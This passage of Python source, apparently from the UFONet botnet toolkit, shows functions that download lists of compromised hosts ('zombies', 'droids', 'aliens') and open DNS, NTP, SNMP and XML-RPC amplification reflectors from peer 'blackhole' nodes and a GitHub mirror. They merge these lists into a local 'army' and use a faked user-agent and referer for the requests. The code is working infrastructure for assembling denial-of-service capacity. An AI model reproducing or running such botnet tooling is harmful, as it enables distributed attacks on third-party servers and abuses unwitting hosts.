  3165. f_out_reflectors.write(f_in_reflectors.read())
  3166. f_in_reflectors.close()
  3167. f_out_reflectors.close()
  3168. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  3169. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  3170. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3171. f_out_crystals.write(f_in_crystals.read())
  3172. f_in_crystals.close()
  3173. f_out_crystals.close()
  3174. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  3175. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  3176. f_out_warps = open('botnet/warps.txt', 'wb')
  3177. f_out_warps.write(f_in_warps.read())
  3178. f_in_warps.close()
  3179. f_out_warps.close()
  3180. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  3181. f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
  3182. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3183. f_out_bosons.write(f_in_bosons.read())
  3184. f_in_bosons.close()
  3185. f_out_bosons.close()
  3186. os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
  3187. num_abductions = 0
  3188. with open('botnet/abductions.txt') as f:
  3189. for _ in f:
  3190. num_abductions = num_abductions + 1
  3191. print("[Info] Zombies: " + str(num_abductions))
  3192. num_robots = 0
  3193. with open('botnet/robots.txt') as f:
  3194. for _ in f:
  3195. num_robots = num_robots + 1
  3196. print("[Info] Droids : " + str(num_robots))
  3197. num_troops = 0
  3198. with open('botnet/troops.txt') as f:
  3199. for _ in f:
  3200. num_troops = num_troops + 1
  3201. print("[Info] Aliens : " + str(num_troops))
  3202. num_drones = 0
  3203. with open('botnet/drones.txt') as f:
  3204. for _ in f:
  3205. num_drones = num_drones + 1
  3206. print("[Info] UCAVs : " + str(num_drones))
  3207. num_reflectors = 0
  3208. with open('botnet/reflectors.txt') as f:
  3209. for _ in f:
  3210. num_reflectors = num_reflectors + 1
  3211. print("[Info] X-RPCs : " + str(num_reflectors))
  3212. num_crystals = 0
  3213. with open('botnet/crystals.txt') as f:
  3214. for _ in f:
  3215. num_crystals = num_crystals + 1
  3216. print("[Info] DNSs : " + str(num_crystals))
  3217. num_warps = 0
  3218. with open('botnet/warps.txt') as f:
  3219. for _ in f:
  3220. num_warps = num_warps + 1
  3221. print("[Info] NTPs : " + str(num_warps))
  3222. num_bosons = 0
  3223. with open('botnet/bosons.txt') as f:
  3224. for _ in f:
  3225. num_bosons = num_bosons + 1
  3226. print("[Info] SNMPs : " + str(num_bosons))
  3227. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3228. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3229. print('-'*12)
  3230. if not self.options.forceyes:
  3231. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3232. print('-'*25)
  3233. else:
  3234. update_reply = "Y"
  3235. if update_reply == "n" or update_reply == "N":
  3236. os.remove('botnet/abductions.txt') # remove abductions file
  3237. os.remove('botnet/troops.txt') # remove troops file
  3238. os.remove('botnet/robots.txt') # remove robots file
  3239. os.remove('botnet/drones.txt') # remove drones file
  3240. os.remove('botnet/reflectors.txt') # remove reflectors file
  3241. os.remove('botnet/crystals.txt') # remove crystals file
  3242. os.remove('botnet/warps.txt') # remove warps file
  3243. os.remove('botnet/bosons.txt') # remove bosons file
  3244. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3245. print('-'*25)
  3246. print("\n[AI] "+self.exit_msg+"\n")
  3247. else:
  3248. zombies_ready = []
  3249. f = open('botnet/abductions.txt')
  3250. abductions = f.readlines()
  3251. f.close()
  3252. fz = open(self.zombies_file)
  3253. zombies = fz.readlines()
  3254. fz.close()
  3255. for abduction in abductions:
  3256. abduction = abduction.replace('\n','')
  3257. if abduction not in zombies:
  3258. zombies_ready.append(abduction)
  3259. else:
  3260. pass
  3261. self.update_zombies(zombies_ready)
  3262. os.remove('botnet/abductions.txt') # remove abductions .txt file
  3263. aliens_ready = []
  3264. f = open('botnet/troops.txt')
  3265. troops = f.readlines()
  3266. f.close()
  3267. fz = open(self.aliens_file)
  3268. aliens = fz.readlines()
  3269. fz.close()
  3270. for alien in troops:
  3271. alien = alien.replace('\n','')
  3272. if alien not in aliens:
  3273. aliens_ready.append(alien)
  3274. else:
  3275. pass
  3276. self.update_aliens(aliens_ready)
  3277. os.remove('botnet/troops.txt') # remove troops .txt file
  3278. droids_ready = []
  3279. f = open('botnet/robots.txt')
  3280. robots = f.readlines()
  3281. f.close()
  3282. fz = open(self.droids_file)
  3283. droids = fz.readlines()
  3284. fz.close()
  3285. for droid in robots:
  3286. droid = droid.replace('\n','')
  3287. if droid not in droids:
  3288. droids_ready.append(droid)
  3289. else:
  3290. pass
  3291. self.update_droids(droids_ready)
  3292. os.remove('botnet/robots.txt') # remove robots .txt file
  3293. ucavs_ready = []
  3294. f = open('botnet/drones.txt')
  3295. drones = f.readlines()
  3296. f.close()
  3297. fz = open(self.ucavs_file)
  3298. ucavs = fz.readlines()
  3299. fz.close()
  3300. for drone in drones:
  3301. drone = drone.replace('\n','')
  3302. if drone not in ucavs:
  3303. ucavs_ready.append(drone)
  3304. else:
  3305. pass
  3306. self.update_ucavs(ucavs_ready)
  3307. os.remove('botnet/drones.txt') # remove drones .txt file
  3308. rpcs_ready = []
  3309. f = open('botnet/reflectors.txt')
  3310. reflectors = f.readlines()
  3311. f.close()
  3312. fz = open(self.rpcs_file)
  3313. rpcs = fz.readlines()
  3314. fz.close()
  3315. for reflector in reflectors:
  3316. reflector = reflector.replace('\n','')
  3317. if reflector not in rpcs:
  3318. rpcs_ready.append(reflector)
  3319. else:
  3320. pass
  3321. self.update_rpcs(rpcs_ready)
  3322. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  3323. dnss_ready = []
  3324. f = open('botnet/crystals.txt')
  3325. crystals = f.readlines()
  3326. f.close()
  3327. fz = open(self.dnss_file)
  3328. dnss = fz.readlines()
  3329. fz.close()
  3330. for crystal in crystals:
  3331. crystal = crystal.replace('\n','')
  3332. if crystal not in dnss:
  3333. dnss_ready.append(crystal)
  3334. else:
  3335. pass
  3336. self.update_dnss(dnss_ready)
  3337. os.remove('botnet/crystals.txt') # remove crystals .txt file
  3338. ntps_ready = []
  3339. f = open('botnet/warps.txt')
  3340. warps = f.readlines()
  3341. f.close()
  3342. fz = open(self.ntps_file)
  3343. ntps = fz.readlines()
  3344. fz.close()
  3345. for warp in warps:
  3346. warp = warp.replace('\n','')
  3347. if warp not in ntps:
  3348. ntps_ready.append(warp)
  3349. else:
  3350. pass
  3351. self.update_ntps(ntps_ready)
  3352. os.remove('botnet/warps.txt') # remove warps .txt file
  3353. snmps_ready = []
  3354. f = open('botnet/bosons.txt')
  3355. bosons = f.readlines()
  3356. f.close()
  3357. fz = open(self.snmps_file)
  3358. snmps = fz.readlines()
  3359. fz.close()
  3360. for boson in bosons:
  3361. boson = boson.replace('\n','')
  3362. if boson not in snmps:
  3363. snmps_ready.append(boson)
  3364. else:
  3365. pass
  3366. self.update_snmps(snmps_ready)
  3367. os.remove('botnet/bosons.txt') # remove bosons .txt file
  3368. print("\n[Info] [AI] Botnet updated! -> ;-)")
  3369. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3370. if not self.options.forceyes: # ask for update everything
  3371. print('-'*25 + "\n")
  3372. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  3373. else:
  3374. update_reply = "Y"
  3375. if update_reply == "n" or update_reply == "N":
  3376. print("\n[AI] "+self.exit_msg+"\n")
  3377. return
  3378. else:
  3379. try:
  3380. update_gui = self.update_gui_data() # update GUI data
  3381. except:
  3382. print('-'*25 +"\n")
  3383. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  3384. print('-'*25)
  3385. print("\n[AI] "+self.exit_msg+"\n")
  3386. return
  3387. def downloading_nodes_list(self):
  3388. # add your node to protect/share/distribute... [Zombies]
  3389. from io import BytesIO
  3390. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3391. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3392. n = open(self.globalnet_file, 'r')
  3393. nodes = n.readlines()
  3394. n.close()
  3395. if not nodes:
  3396. print("[AI] [Control] Not any [Nodes] present in your [Radar]... [Exiting!]\n")
  3397. return
  3398. globalnet_list = []
  3399. if self.options.timeout: # set timeout
  3400. try:
  3401. timeout = int(self.options.timeout)
  3402. except:
  3403. timeout = 5
  3404. else:
  3405. timeout = 5
  3406. if timeout < 1:
  3407. timeout = 5
  3408. if self.options.proxy: # set proxy
  3409. self.proxy_transport(self.options.proxy)
  3410. globalnet_ip_list = [] # used to check for repetitions
  3411. for m in nodes:
  3412. m = m.replace('\n','')
  3413. if self.globalnet_msg_sep in m:
  3414. m = m.split(self.globalnet_msg_sep)
  3415. enc_globalnet_owner = m[0] # owner
  3416. enc_globalnet_comment = m[1] # comment
  3417. enc_globalnet_warp = m[2] # warp
  3418. enc_globalnet_ip = m[3] # extract IP
  3419. self.decrypt(self.crypto_key, enc_globalnet_ip)
  3420. if self.decryptedtext:
  3421. globalnet_ip = self.decryptedtext
  3422. if globalnet_ip not in globalnet_ip_list:
  3423. globalnet_ip_list.append(globalnet_ip)
  3424. else:
  3425. return
  3426. self.decryptedtext = "" # clean decryptedtext buffer
  3427. print("[AI] Trying [Radar] [Blackhole] [Node]:", globalnet_ip, "\n")
  3428. if self.options.forcessl:
  3429. if self.options.proxy: # set proxy
  3430. self.proxy_transport(options.proxy)
  3431. try:
  3432. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3433. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3434. except:
  3435. abductions_reply = ""
  3436. try:
  3437. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3438. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3439. except:
  3440. troops_reply = ""
  3441. try:
  3442. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3443. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3444. except:
  3445. robots_reply = ""
  3446. try:
  3447. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3448. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3449. except:
  3450. drones_reply = ""
  3451. try:
  3452. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3453. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3454. except:
  3455. reflectors_reply = ""
  3456. try:
  3457. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3458. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3459. except:
  3460. crystals_reply = ""
  3461. try:
  3462. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3463. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3464. except:
  3465. warps_reply = ""
  3466. try:
  3467. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3468. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3469. except:
  3470. bosons_reply = ""
  3471. else:
  3472. if self.options.proxy: # set proxy
  3473. self.proxy_transport(options.proxy)
  3474. try:
  3475. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3476. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3477. except:
  3478. abductions_reply = ""
  3479. try:
  3480. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3481. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3482. except:
  3483. troops_reply = ""
  3484. try:
  3485. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3486. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3487. except:
  3488. robots_reply = ""
  3489. try:
  3490. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3491. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3492. except:
  3493. drones_reply = ""
  3494. try:
  3495. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3496. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3497. except:
  3498. reflectors_reply = ""
  3499. try:
  3500. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3501. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3502. except:
  3503. crystals_reply = ""
  3504. try:
  3505. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3506. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3507. except:
  3508. warps_reply = ""
  3509. try:
  3510. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3511. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3512. except:
  3513. bosons_reply = ""
  3514. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3515. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX FAILED!]\n")
  3516. print("[AI] [Control] [Radar] [Blackhole] [Node] Action: [Removing!]")
  3517. print('-'*12 + '\n')
  3518. else:
  3519. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX READY!] ;-)")
  3520. print('-'*12)
  3521. num_zombies = 0
  3522. if abductions_reply:
  3523. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  3524. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3525. f_out_abductions.write(f_in_abductions.read())
  3526. f_in_abductions.close()
  3527. f_out_abductions.close()
  3528. with open('botnet/abductions.txt') as f:
  3529. for _ in f:
  3530. num_zombies = num_zombies + 1
  3531. print("\n[Info] [Radar] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  3532. num_robots = 0
  3533. if robots_reply:
  3534. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  3535. f_out_robots = open('botnet/robots.txt', 'wb')
  3536. f_out_robots.write(f_in_robots.read())
  3537. f_in_robots.close()
  3538. f_out_robots.close()
  3539. with open('botnet/robots.txt') as f:
  3540. for _ in f:
  3541. num_robots = num_robots + 1
  3542. print("[Info] [Radar] [Blackhole] Total [Droids] : "+ str(num_robots))
  3543. num_aliens = 0
  3544. if troops_reply:
  3545. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  3546. f_out_troops = open('botnet/troops.txt', 'wb')
  3547. f_out_troops.write(f_in_troops.read())
  3548. f_in_troops.close()
  3549. f_out_troops.close()
  3550. with open('botnet/troops.txt') as f:
  3551. for _ in f:
  3552. num_aliens = num_aliens + 1
  3553. print("[Info] [Radar] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  3554. num_drones = 0
  3555. if drones_reply:
  3556. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  3557. f_out_drones = open('botnet/drones.txt', 'wb')
  3558. f_out_drones.write(f_in_drones.read())
  3559. f_in_drones.close()
  3560. f_out_drones.close()
  3561. with open('botnet/drones.txt') as f:
  3562. for _ in f:
  3563. num_drones = num_drones + 1
  3564. print("[Info] [Radar] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  3565. num_reflectors = 0
  3566. if reflectors_reply:
  3567. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  3568. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  3569. f_out_reflectors.write(f_in_reflectors.read())
  3570. f_in_reflectors.close()
  3571. f_out_reflectors.close()
  3572. with open('botnet/reflectors.txt') as f:
  3573. for _ in f:
  3574. num_reflectors = num_reflectors + 1
  3575. print("[Info] [Radar] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  3576. num_crystals = 1 # black magic!
  3577. if crystals_reply:
  3578. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  3579. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3580. f_out_crystals.write(f_in_crystals.read())
  3581. f_in_crystals.close()
  3582. f_out_crystals.close()
  3583. with open('botnet/crystals.txt') as f:
  3584. for _ in f:
  3585. num_crystals = num_crystals + 1
  3586. print("[Info] [Radar] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  3587. num_warps = 1 # black magic!
  3588. if warps_reply:
  3589. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  3590. f_out_warps = open('botnet/warps.txt', 'wb')
  3591. f_out_warps.write(f_in_warps.read())
  3592. f_in_warps.close()
  3593. f_out_warps.close()
  3594. with open('botnet/warps.txt') as f:
  3595. for _ in f:
  3596. num_warps = num_warps + 1
  3597. print("[Info] [Radar] [Blackhole] Total [DNSs] : "+ str(num_warps))
  3598. num_bosons = 0
  3599. if bosons_reply:
  3600. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  3601. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3602. f_out_bosons.write(f_in_bosons.read())
  3603. f_in_bosons.close()
  3604. f_out_bosons.close()
  3605. with open('botnet/bosons.txt') as f:
  3606. for _ in f:
  3607. num_bosons = num_bosons + 1
  3608. print("[Info] [Radar] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  3609. print('-'*12 + '\n')
  3610. zombies = self.extract_zombies()
  3611. if not zombies:
  3612. return
  3613. zombies_added = 0
  3614. if os.path.isfile('botnet/abductions.txt'):
  3615. f = open('botnet/abductions.txt')
  3616. abductions = f.readlines()
  3617. abductions = [abduction.strip() for abduction in abductions]
  3618. f.close()
  3619. fz = open(self.zombies_file)
  3620. zombies = fz.readlines()
  3621. zombies = [zombie.strip() for zombie in zombies]
  3622. fz.close()
  3623. az = open('botnet/zombies.txt', 'a')
  3624. for abduction in abductions:
  3625. if abduction not in zombies:
  3626. zombies_added = zombies_added + 1
  3627. az.write(abduction+os.linesep)
  3628. else:
  3629. pass
  3630. az.close()
  3631. os.remove('botnet/abductions.txt') # remove abductions file
  3632. print("[Info] [Radar] [Blackhole] Added [Zombies]: " + str(zombies_added))
  3633. droids = self.extract_droids()
  3634. if not droids:
  3635. return
  3636. droids_added = 0
  3637. if os.path.isfile('botnet/robots.txt'):
  3638. f = open('botnet/robots.txt')
  3639. robots = f.readlines()
  3640. robots = [robot.strip() for robot in robots]
  3641. f.close()
  3642. fz = open(self.droids_file)
  3643. droids = fz.readlines()
  3644. droids = [droid.strip() for droid in droids]
  3645. fz.close()
  3646. ad = open('botnet/droids.txt', 'a')
  3647. for robot in robots:
  3648. if robot not in droids:
  3649. droids_added = droids_added + 1
  3650. ad.write(robot+os.linesep)
  3651. else:
  3652. pass
  3653. ad.close()
  3654. os.remove('botnet/robots.txt') # remove robots file
  3655. print("[Info] [Radar] [Blackhole] Added [Droids] : " + str(droids_added))
  3656. aliens = self.extract_aliens()
  3657. if not aliens:
  3658. return
  3659. aliens_added = 0
  3660. if os.path.isfile('botnet/troops.txt'):
  3661. f = open('botnet/troops.txt')
  3662. troops = f.readlines()
  3663. troops = [troop.strip() for troop in troops]
  3664. f.close()
  3665. fz = open(self.aliens_file)
  3666. aliens = fz.readlines()
  3667. aliens = [alien.strip() for alien in aliens]
  3668. fz.close()
  3669. at = open('botnet/aliens.txt', 'a')
  3670. for troop in troops:
  3671. if troop not in aliens:
  3672. aliens_added = aliens_added + 1
  3673. at.write(troop+os.linesep)
  3674. else:
  3675. pass
  3676. at.close()
  3677. os.remove('botnet/troops.txt') # remove troops file
  3678. print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
  3679. ucavs = self.extract_ucavs()
  3680. if not ucavs:
  3681. return
  3682. ucavs_added = 0
  3683. if os.path.isfile('botnet/drones.txt'):
  3684. f = open('botnet/drones.txt')
  3685. drones = f.readlines()
  3686. drones = [drone.strip() for drone in drones]
  3687. f.close()
  3688. fz = open(self.ucavs_file)
  3689. ucavs = fz.readlines()
  3690. ucavs = [ucav.strip() for ucav in ucavs]
  3691. fz.close()
  3692. au = open('botnet/ucavs.txt', 'a')
  3693. for drone in drones:
  3694. if drone not in ucavs:
  3695. ucavs_added = ucavs_added + 1
  3696. au.write(drone+os.linesep)
  3697. else:
  3698. pass
  3699. au.close()
  3700. os.remove('botnet/drones.txt') # remove ucavs file
  3701. print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  3702. rpcs = self.extract_rpcs()
  3703. if not rpcs:
  3704. return
  3705. rpcs_added = 0
  3706. if os.path.isfile('botnet/reflectors.txt'):
  3707. f = open('botnet/reflectors.txt')
  3708. reflectors = f.readlines()
  3709. reflectors = [reflector.strip() for reflector in reflectors]
  3710. f.close()
  3711. fz = open(self.rpcs_file)
  3712. rpcs = fz.readlines()
  3713. rpcs = [rpc.strip() for rpc in rpcs]
  3714. fz.close()
  3715. ar = open('botnet/rpcs.txt', 'a')
  3716. for reflector in reflectors:
  3717. if reflector not in rpcs:
  3718. rpcs_added = rpcs_added + 1
  3719. ar.write(reflector+os.linesep)
  3720. else:
  3721. pass
  3722. ar.close()
  3723. os.remove('botnet/reflectors.txt') # remove rpcs file
  3724. print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  3725. ntps = self.extract_ntps()
  3726. if not ntps:
  3727. return
  3728. ntps_added = 0
  3729. if os.path.isfile('botnet/crystals.txt'):
  3730. f = open('botnet/crystals.txt')
  3731. crystals = f.readlines()
  3732. crystals = [crystal.strip() for crystal in crystals]
  3733. f.close()
  3734. fz = open(self.ntps_file)
  3735. ntps = fz.readlines()
  3736. ntps = [ntp.strip() for ntp in ntps]
  3737. fz.close()
  3738. an = open('botnet/ntp.txt', 'a')
  3739. for crystal in crystals:
  3740. if crystal not in ntps:
  3741. ntps_added = ntps_added + 1
  3742. an.write(crystal+os.linesep)
  3743. else:
  3744. pass
  3745. an.close()
  3746. os.remove('botnet/crystals.txt') # remove crystals file
  3747. print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
  3748. dnss = self.extract_dnss()
  3749. if not dnss:
  3750. return
  3751. dnss_added = 0
  3752. if os.path.isfile('botnet/warps.txt'):
  3753. f = open('botnet/warps.txt')
  3754. warps = f.readlines()
  3755. warps = [warp.strip() for warp in warps]
  3756. f.close()
  3757. fz = open(self.dnss_file)
  3758. dnss = fz.readlines()
  3759. dnss = [dns.strip() for dns in dnss]
  3760. fz.close()
  3761. ad = open('botnet/dns.txt', 'a')
  3762. for warp in warps:
  3763. if warp not in dnss:
  3764. dnss_added = dnss_added + 1
  3765. ad.write(warp+os.linesep)
  3766. else:
  3767. pass
  3768. ad.close()
  3769. os.remove('botnet/warps.txt') # remove warps file
  3770. print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
  3771. snmps = self.extract_snmps()
  3772. if not snmps:
  3773. return
  3774. snmps_added = 0
  3775. if os.path.isfile('botnet/bosons.txt'):
  3776. f = open('botnet/bosons.txt')
  3777. bosons = f.readlines()
  3778. bosons = [boson.strip() for boson in bosons]
  3779. f.close()
  3780. fz = open(self.snmps_file)
  3781. snmps = fz.readlines()
  3782. snmps = [snmp.strip() for snmp in snmps]
  3783. fz.close()
  3784. asn = open('botnet/snmp.txt', 'a')
  3785. for boson in bosons:
  3786. if boson not in snmps:
  3787. snmps_added = snmps_added + 1
  3788. asn.write(boson+os.linesep)
  3789. else:
  3790. pass
  3791. asn.close()
  3792. os.remove('botnet/bosons.txt') # remove snmps file
  3793. print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  3794. print('-'*12 + '\n')
  3795. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  3796. print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
  3797. print('-'*12 + '\n')
  3798. else:
  3799. total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
  3800. print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
  3801. print('-'*12)
  3802. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  3803. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3804. stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
  3805. globalnet_list.append(stream+os.linesep)
  3806. print('='*22 + '\n')
  3807. if globalnet_list is not None:
  3808. f = open(self.globalnet_file, "w") # write to globalnet.txt
  3809. for node in globalnet_list:
  3810. f.write(node)
  3811. f.close()
  3812. def downloading_github_list(self):
  3813. # add your mirror to protect/share/distribute... [Zombies]
  3814. try:
  3815. print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
  3816. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3817. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3818. if self.options.timeout: # set timeout
  3819. try:
  3820. timeout = int(self.options.timeout)
  3821. except:
  3822. timeout = 5
  3823. else:
  3824. timeout = 5
  3825. if timeout < 1:
  3826. timeout = 5
  3827. if self.options.proxy: # set proxy
  3828. self.proxy_transport(self.options.proxy)
  3829. try:
  3830. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  3831. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3832. except:
  3833. zombies_reply = ""
  3834. try:
  3835. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  3836. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3837. except:
  3838. aliens_reply = ""
  3839. try:
  3840. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  3841. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3842. except:
  3843. dns_reply = ""
  3844. try:
  3845. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  3846. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3847. except:
  3848. droids_reply = ""
  3849. try:
  3850. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  3851. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3852. except:
  3853. rpcs_reply = ""
  3854. try:
  3855. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  3856. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3857. except:
  3858. ucavs_reply = ""
  3859. try:
  3860. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  3861. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3862. except:
  3863. ntp_reply = ""
  3864. try:
  3865. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  3866. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3867. except:
  3868. snmp_reply = ""
  3869. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  3870. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3871. print('-'*12 + '\n')
  3872. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3873. return
  3874. f = open('botnet/abductions.txt', 'w') # zombies
  3875. f.write(zombies_reply)
  3876. f.close()
  3877. f = open('botnet/troops.txt', 'w') # aliens
  3878. f.write(aliens_reply)
  3879. f.close()
  3880. f = open('botnet/crystals.txt', 'w') # dns
  3881. f.write(dns_reply)
  3882. f.close()
  3883. f = open('botnet/robots.txt', 'w') # droids
  3884. f.write(droids_reply)
  3885. f.close()
  3886. f = open('botnet/drones.txt', 'w') # ucavs
  3887. f.write(ucavs_reply)
  3888. f.close()
  3889. f = open('botnet/reflectors.txt', 'w') # rpcs
  3890. f.write(rpcs_reply)
  3891. f.close()
  3892. f = open('botnet/warps.txt', 'w') # ntp
  3893. f.write(ntp_reply)
  3894. f.close()
  3895. f = open('botnet/bosons.txt', 'w') # snmp
  3896. f.write(snmp_reply)
  3897. f.close()
  3898. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  3899. except:
  3900. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3901. print('-'*12 + '\n')
  3902. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3903. return
  3904. print('-'*12 + '\n')
  3905. num_abductions = 0
  3906. with open('botnet/abductions.txt') as f: # zombies
  3907. for _ in f:
  3908. num_abductions = num_abductions + 1
  3909. print("[Info] Zombies: " + str(num_abductions))
  3910. num_troops = 0
  3911. with open('botnet/troops.txt') as f: # aliens
